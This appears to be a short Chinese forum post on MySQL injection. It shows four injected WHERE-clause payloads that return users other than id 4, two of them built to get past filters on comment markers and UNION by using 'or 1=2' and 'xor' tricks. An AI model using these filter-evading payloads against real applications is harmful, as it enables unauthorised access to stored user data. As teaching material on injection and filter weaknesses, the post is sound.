情景: 注入点的sql语句如下: select * from user where 1 and xxxxx and id in(4) ====================其中xxxx使我们可以构造注入点的地方,现在要选出id=4以外的user信息, 怎么写sql语句(mysql)? 1) select * from user where 1 and 1 /* and id in(4) 2) select * from user where 1 and 1 union select * from user where 1 and id in(4) ============其实上面两种很easy,谈不上挑战性,问题是当服务器对/*与union过滤之后,你怎么弄? 我来一个摸索成功的: 3) select * from user where 1 and 1 and id>0 or 1=2 and id in(4) ====================也就是说这儿 or 1=2 相当于/*,后面的所有条件都不起作用了。
4)select * from user where 1 and 1 and id>0 xor id in(4) =======================这儿前提是最有一个and没有。具体结果就是除4以外的其他所有user。
|